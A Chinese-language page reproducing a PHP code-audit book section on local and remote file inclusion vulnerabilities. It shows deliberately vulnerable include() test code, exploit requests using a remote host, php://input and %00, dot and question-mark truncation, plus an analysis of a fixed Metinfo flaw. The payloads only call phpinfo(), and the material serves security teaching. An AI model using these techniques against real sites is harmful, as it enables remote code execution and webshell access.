返回介绍

5.1.1 文件包含漏洞

发布于 2024-10-11 22:07:43 字数 4583 浏览 0 评论 0 收藏 0

PHP 的文件包含可以直接执行包含文件的代码,包含的文件格式是不受限制的,只要能正常执行即可。文件包含又分为本地文件包含(local file include)和远程文件包含(remote file include),顾名思义就能理解它们的差别在哪,而不管哪种都是非常高危的,渗透过程中文件包含漏洞大多可以直接利用获取 webshell。文件包含函数有 include()、include_once()、require() 和 require_once(),它们之间的区别在于:include() 和 include_once() 在包含文件时即使遇到错误,下面的代码依然会继续执行;而 require() 和 require_once() 则会直接报错退出程序。

5.1.1.1 挖掘经验

文件包含漏洞大多出现在模块加载、模板加载以及 cache 调用的地方,比如传入的模块名参数,实际上是直接把这个拼接到了包含文件的路径中,比如像 espcms 的代码:

$archive = indexget ( 'archive' , 'R' ); 

$archive = empty ( $archive )
 
? 'adminuser' : $archive ; 

$action = indexget ( 'action' , 'R' ); 

$action = empty ( $action )
 
? 'login' : $action ; 

include admin_ROOT . adminfile . "/control/$archive.php" ;

传入的 archive 参数就是被包含的文件名,所以我们在挖掘文件包含漏洞的时候可以先跟踪一下程序运行流程,看看里面模块加载时包含的文件是否可控,另外就是直接搜索 include()、include_once()、require() 和 require_once() 这四个函数来回溯看看有没有可控的变量,它们的写法可以在括号里面写要包含的路径,也可以直接用空格再跟路径。一般这类都是本地文件包含,大多是需要截断的,截断的方法下面我们再细说。

5.1.1.2 本地文件包含

本地文件包含(local file include,LFI)是指只能包含本机文件的文件包含漏洞,大多出现在模块加载、模板加载和 cache 调用这些地方,渗透的时候利用起来并不鸡肋,本地文件包含有多种利用方式,比如上传一个允许上传的文件格式的文件再包含来执行代码,包含 PHP 上传的临时文件,在请求 URL 或者 ua 里面加入要执行的代码,WebServer 记录到日志后再包含 WebServer 的日志,还有像 Linux 下可以包含/proc/self/environ 文件。

测试代码 1.php 如下所示:

<?php

// 初始化 ....

define ( "ROOT" , dirname ( __FILE__ ) .'/' ); 

// 加载模块 

$mod = $_GET['mod'] ; 

echo ROOT.$mod.'.php' ; 

include ( ROOT.$mod.'.php' );? >

我们在同目录下 2.php 写入如下代码:

<?php phpinfo ();? >

请求/1.php?mod=2 执行结果如图 5-1 所示。

图 5-1

1.远程文件包含

远程文件包含(remote file include,RFI)是指可以包含远程文件的包含漏洞,远程文件包含需要设置 allow_url_include=On,PHP5.2 之后这个选项的可修改范围是 PHP_INI_ALL。四个文件包含的函数都支持 HTTP、FTP 等协议,相对于本地文件包含,它更容易利用,不过出现的频率没有本地文件包含多,偶尔能挖到,下面我们来看看基于 HTTP 协议测试代码:

<?php

include ( $_GET['url'] );? >

利用则在 GET 请求 url 参数里面传入"http://remotehost/2.txt",其中远程机器上的 2.txt 是一个内容为<?php phpinfo();?>。访问后返回本机的 phpinfo 信息。

远程文件包含还有一种 PHP 输入输出流的利用方式,可以直接执行 POST 代码,这里我们仍然用上面这个代码测试,只要执行 POST 请求 1.php?a=php://input,POST 内容为 PHP 代码"<?php phpinfo();?>"即可打印出 phpinfo 信息,如图 5-2 所示。

2.文件包含截断

大多数的文件包含漏洞都是需要截断的,因为正常程序里面包含的文件代码一般是像 include(BASEPATH.$mod.'.php')或者 include($mod.'.php')这样的方式,如果我们不能写入以.php 为扩展名的文件,那我们是需要截断来利用的。

图 5-2

下面我们就来详细说一下各种截断方式。

第一种方式,利用%00 来截断,这是最古老的一种方法,不过在笔者做渗透测试的过程中,发现目前还是有很多企业的线上环境可以这么利用。%00 截断受限于 GPC 和 addslashes 等函数的过滤,也就是说,在开启 GPC 的情况下是不可用的,另外在 PHP5.3 之后的版本全面修复了文件名%00 截断的问题,所以在 5.3 之后的版本也是不能用这个方法截断的。下面我们来演示一下%00 截断,测试代码 1.php:

<?php

include $_GET['a'].'.php'?>

测试代码 2.txt 内容为 phpinfo。

请求 http://localhost/test/1.php?a=2.txt%00 即可执行 phpinfo 的代码如图 5-3 所示。

图 5-3

第二种方式,利用多个英文句号(.)和反斜杠(/)来截断,这种方式不受 GPC 限制,不过同样在 PHP 5.3 版本之后被修复。下面让我们来演示一下:

测试代码如下:

<?php

$str='' ; 

for ( $i=0 ; $i<=240 ; $i++ ) {

  $str .= '.' ; 

}

$str = '2.txt'.$str ; 

echo $str ; 

include $str.'.php' ;? >

我在 Windows 下测试是 240 个连接的点(.)能够截断,同样的点(.)加斜杠(/)也是 240 个能够截断,Linux 下测试的是 2038 个/.组合才能截断。

第三种方式,远程文件包含时利用问号(?)来伪截断,不受 GPC 和 PHP 版本限制,只要能返回代码给包含函数,它就能执行,在 HTTP 协议里面访问 http://remotehost/1.txt 和访问 http://remotehost/1.txt?.php 返回的结果是一样的,因为这时候 WebServer 把问号(?)之后的内容当成是请求参数,而 txt 不在 WebServer 里面解析,参数对访问 1.txt 返回的内容不影响,所以就实现了伪截断。

测试代码如下:

<?php

include $_GET['a'].'.php' ;

请求/1.php?a=http://remotehost/2.txt?2.txt 内容同样为 phpinfo 的代码,请求之后会打印出 phpinfo 信息。

3.Metinfo 文件包含漏洞分析

这里举例笔者在 2012 年时找到的 metinfo 企业网站管理系统中的一个文件包含漏洞,当时本漏洞提交给官方已经修复。

漏洞出现在文件/message/index.php,这个地方调用模块方式是直接从 GET 请求中获取模块名,拼接到 require_once 函数中,因此模块名可控导致了可以远程包含文件,代码如下:

if (! $metid ) 

$metid='index' ; 

if ( $metid ! ='index' ) {

require_once $metid.'.php' ;  

}else{

/* 省略 */

}

$metid 是从 GET 提交的,这段代码的意思是,如果提交的参数 metid 不是 index,则执行 require_once$metid.'.php'去包含加载模块文件,这里可以用我们上面说的三种方式来利用,假设 allow_url_include=on,只要在远程写一个 1.txt 的文件,利用问号来伪截断即可,或者搭一个不解析 PHP 的 WebServer,访问的时候不加文件扩展名,这里给出当时写文档时留的一个截图,如图 5-4 所示。

图 5-4

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据
    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文